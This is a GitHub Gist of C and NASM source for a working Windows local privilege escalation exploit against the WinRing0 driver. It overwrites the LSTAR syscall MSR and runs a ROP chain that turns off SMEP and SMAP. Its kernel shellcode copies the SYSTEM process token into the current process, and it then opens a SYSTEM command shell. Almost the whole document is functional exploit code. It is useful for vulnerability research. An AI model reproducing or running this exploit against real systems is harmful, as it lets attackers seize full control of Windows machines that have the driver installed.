Last active
April 21, 2025 08:19
-
-
Save NSG650/aac65399bbe74519636efc0a651c0425 to your computer and use it in GitHub Desktop.
WinRing0 LPE using MSR write https://nsg650.github.io/blogs/28-9-2024.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <Psapi.h> | |
#include <stdio.h> | |
#define OLS_TYPE 40000 | |
#define IOCTL_OLS_GET_DRIVER_VERSION \ | |
CTL_CODE(OLS_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define IOCTL_OLS_READ_MSR \ | |
CTL_CODE(OLS_TYPE, 0x821, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define IOCTL_OLS_WRITE_MSR \ | |
CTL_CODE(OLS_TYPE, 0x822, METHOD_BUFFERED, FILE_ANY_ACCESS) | |
#define MSR_LSTAR 0xC0000082 | |
#define POP_RCX_RET_GADGET 0x00313579 | |
#define MOV_CR4_RCX_RET_GADGET 0x00382eb7 | |
#define SYSRET_GADGET 0x00af5e1c | |
typedef struct _OLS_WRITE_MSR_INPUT { | |
ULONG Register; | |
ULARGE_INTEGER Value; | |
} OLS_WRITE_MSR_INPUT; | |
extern VOID RopAndRoll(VOID); | |
ULONGLONG GetKernelBase(VOID) { | |
LPVOID DriverBases[1024] = {0}; | |
DWORD Needed = 0; | |
if (!EnumDeviceDrivers(DriverBases, sizeof(DriverBases), &Needed)) { | |
return 0; | |
} | |
return (ULONGLONG)DriverBases[0]; | |
} | |
ULONGLONG KernelBase = 0; | |
extern ULONGLONG KiSystemCall64; | |
extern ULONGLONG KernelPopRcxRet; | |
extern ULONGLONG KernelMovCr4RcxRet; | |
extern ULONGLONG KernelSysret; | |
INT main(void) { | |
HANDLE HandleToWinRing0 = | |
CreateFileA("\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, 0, | |
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (HandleToWinRing0 == INVALID_HANDLE_VALUE) { | |
printf("[!] Failed to get handle to WinRing0\n"); | |
return 1; | |
} | |
printf("[+] Got handle to the WinRing0 driver\n"); | |
KernelBase = GetKernelBase(); | |
if (KernelBase == 0) { | |
printf("[!] Failed to get kernel base\n"); | |
return 1; | |
} | |
printf("[+] Kernel base at 0x%llx\n", KernelBase); | |
ULARGE_INTEGER Msr = {0}; | |
ULONG Lstar = MSR_LSTAR; | |
DWORD Temp = 0; | |
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MSR, &Lstar, | |
sizeof(Lstar), &Msr, sizeof(Msr), &Temp, NULL)) { | |
printf("[!] Failed to read MSR LSTAR register\n"); | |
return 1; | |
} | |
printf("[+] Successfully read MSR LSTAR value: 0x%llx\n", Msr.QuadPart); | |
KiSystemCall64 = Msr.QuadPart; | |
KernelPopRcxRet = KernelBase + POP_RCX_RET_GADGET; | |
KernelMovCr4RcxRet = KernelBase + MOV_CR4_RCX_RET_GADGET; | |
KernelSysret = KernelBase + SYSRET_GADGET; | |
printf("[*] POP RCX gadget at 0x%llx\n", KernelPopRcxRet); | |
printf("[*] MOV CR4, RCX gadget at 0x%llx\n", KernelMovCr4RcxRet); | |
printf("[*] SYSRET gadget at 0x%llx\n", KernelSysret); | |
OLS_WRITE_MSR_INPUT WriteMsr = {0}; | |
WriteMsr.Register = MSR_LSTAR; | |
WriteMsr.Value.HighPart = KernelPopRcxRet >> 32; | |
WriteMsr.Value.LowPart = KernelPopRcxRet & 0xffffffff; | |
printf("[*] Overwriting the syscall handler and running the rop chain\n"); | |
// We do NOT want something else to be schedule and screw up the exploit | |
DWORD OldPriorityClass = GetPriorityClass(GetCurrentProcess()); | |
DWORD OldThreadPriority = GetThreadPriority(GetCurrentThread()); | |
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); | |
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); | |
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_WRITE_MSR, &WriteMsr, | |
sizeof(WriteMsr), &Temp, sizeof(Temp), &Temp, NULL)) { | |
printf("[!] Failed to write MSR LSTAR register"); | |
return 1; | |
} | |
RopAndRoll(); | |
CloseHandle(HandleToWinRing0); | |
SetPriorityClass(GetCurrentProcess(), OldPriorityClass); | |
SetThreadPriority(GetCurrentThread(), OldThreadPriority); | |
printf("[+] We should have SYSTEM now!\n"); | |
STARTUPINFO si = {0}; | |
PROCESS_INFORMATION pi = {0}; | |
si.cb = sizeof(si); | |
if (CreateProcessA("C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, | |
FALSE, 0, NULL, "C:\\Windows\\system32", &si, &pi)) { | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
CloseHandle(pi.hProcess); | |
CloseHandle(pi.hThread); | |
} | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
BITS 64 | |
section .data | |
global KernelPopRcxRet | |
KernelPopRcxRet dq 0 | |
global KernelMovCr4RcxRet | |
KernelMovCr4RcxRet dq 0 | |
global KernelSysret | |
KernelSysret dq 0 | |
global KiSystemCall64 | |
KiSystemCall64 dq 0 | |
section .text | |
SyscallHandler: | |
swapgs | |
mov rax, [gs:0x188] ; Current thread -> _KTHREAD | |
mov rax, [rax + 0xb8] ; Current process -> _EPROCESS | |
mov r8, rax ; Move current process' _EPROCESS to r8 | |
__loop: | |
mov rax, [rax + 0x448] ; ActiveProcessLinks | |
sub rax, 0x448 ; Return to current process -> _EPROCESS | |
mov rcx, [rax + 0x440] ; UniqueProcessId (PID) | |
cmp rcx, 4 ; Compare PID to SYSTEM process PID (0x4) | |
jnz __loop ; Iterate over EPROCESS nodes until SYSTEM PID is located | |
mov r9, [rax + 0x4b8] ; _EPROCESS + 0x4b8 -> token | |
mov [r8 + 0x4b8], r9 ; Copy SYSTEM token to current process | |
; Restore the original syscall handler | |
mov r12, [rel KiSystemCall64] | |
mov ecx, 0xc0000082 | |
mov rdx, r12 | |
shr rdx, 32 | |
mov rax, r12 | |
and rax, 0xffffffff | |
wrmsr | |
swapgs | |
ret | |
global RopAndRoll | |
RopAndRoll: | |
push r10 | |
pushfq | |
mov r10, rcx | |
mov r11, [rel KernelSysret] | |
push r11 | |
lea rax, finish | |
push rax | |
mov r11, [rel KernelPopRcxRet] | |
push r11 | |
mov r11, [rel KernelMovCr4RcxRet] | |
push r11 | |
push 0xb50ef8 ; We can guess the cr4 value later on | |
mov r11, [rel KernelPopRcxRet] | |
push r11 | |
lea rax, SyscallHandler | |
push rax | |
mov r11, [rel KernelMovCr4RcxRet] | |
push r11 | |
push 0xa50ef8 ; cr4 with SMEP disabled | |
pushfq ; setting the AC bit disables SMAP | |
pop rax | |
or rax, 0x40000 | |
push rax | |
popfq | |
syscall | |
finish: | |
popfq | |
pop r10 | |
ret |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment